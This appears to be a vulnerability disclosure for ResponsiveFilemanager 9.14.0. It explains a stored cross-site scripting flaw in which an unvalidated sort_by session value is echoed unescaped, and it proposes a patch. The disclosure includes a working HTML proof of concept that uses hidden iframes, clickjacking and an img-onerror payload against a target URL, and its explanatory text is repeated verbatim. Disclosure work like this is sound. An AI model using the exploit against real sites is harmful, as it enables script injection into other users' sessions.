After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 229 that if the $_SESSION['RF']['sort_by'] is already set that there would not be done any validation.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
This created a problem because in ajax_calls.php in the "sort" action in the "sort_by" parameter it is possible to set that value without any validation.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L73
This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the sort action and as "sort_by" parameter you give a html tag.
Than if you done al that go back to the dialog.php page than $_SESSION['RF']["sort_by"] would be read and unescaped placed on all places where $sort_by is used what created stored xss until the session isn't valid anymore.
A very simple patch would be to add fix_get_params() in the dialog.php on line 235 when the $sort_by is set.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
I made a simple html file you can use to validate this vulnerability.
It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change.
you would need to change all "http://192.168.0.11:3001" to your website.
When runned it would make 3 iframe's.
One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
Second it would open the ajax_calls.php to set the html tag.
And tirth it reopens the dialog.php page to trigger the stored xss:
<!DOCTYPE html>
<html>
<head>
<script>
var url = "http://192.168.0.11:3001";
/**
Execute the "sort" action in ajax_calls.php and set as "sort_by" a html tag.
This will set $_SESSION['RF']["sort_by"] on line 73 as my html tag.
https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/ajax_calls.php#L73
**/
function iframe1(){
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src", url+"/filemanager/ajax_calls.php?action=sort&sort_by=%22%3E%3Cimg/src=%27x%27/onerror=alert(document.domain)%3E", "myWindow", "width=200, height=100");
ifrm.setAttribute("onload", "iframe2();");
ifrm.setAttribute("style", "visibility: hidden;");
ifrm.style.width = "640px";
ifrm.style.height = "480px";
document.body.appendChild(ifrm);
}
/**
Go back to the dialog.php to trigger a xss starting at line 235 because when $_SESSION['RF']["sort_by"] is already set and the sort_by parameter isn't set than it would use the data from $_SESSION['RF']["sort_by"].
And if sort_by isn't set than it won't execute fix_get_params() what would prevented xss.
because in ajax_calls.php this value wasn't sanitized with fix_get_params() when we setted the $_SESSION['RF']["sort_by"] there is a stored xss until the session is expired.
https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/dialog.php#L235
https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/include/utils.php#L686
**/
function iframe2(){
var ifrm1 = document.createElement("iframe");
ifrm1.setAttribute("src", url+"/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", "myWindow", "width=200, height=100");
ifrm1.setAttribute("style", "visibility: hidden;");
ifrm1.style.width = "640px";
ifrm1.style.height = "480px";
document.body.appendChild(ifrm1);
}
</script>
</head>
<body>
<!--
create a iframe to the dialog webpage to receive a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/dialog.php#L19
if we would not do that this exploit would fail in ajax_calls.php on line 7.
https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/ajax_calls.php#L7
-->
<iframe src="http://192.168.0.11:3001/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", width=200, height=100 onload="iframe1();" style="visibility: hidden;" sandbox>
</body>
</html>
After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 229 that if the $_SESSION['RF']['sort_by'] is already set that there would not be done any validation. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235 This created a problem because in ajax_calls.php in the "sort" action in the "sort_by" parameter it is possible to set that value without any validation. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L73 This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the sort action and as "sort_by" parameter you give a html tag. Than if you done al that go back to the dialog.php page than $_SESSION['RF']["sort_by"] would be read and unescaped placed on all places where $sort_by is used what created stored xss until the session isn't valid anymore. A very simple patch would be to add fix_get_params() in the dialog.php on line 235 when the $sort_by is set. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
I made a simple html file you can use to validate this vulnerability. It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change. you would need to change all "http://192.168.0.11:3001" to your website. When runned it would make 3 iframe's. One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager. Second it would open the ajax_calls.php to set the html tag. And tirth it reopens the dialog.php page to trigger the stored xss:
A CVE has been requested.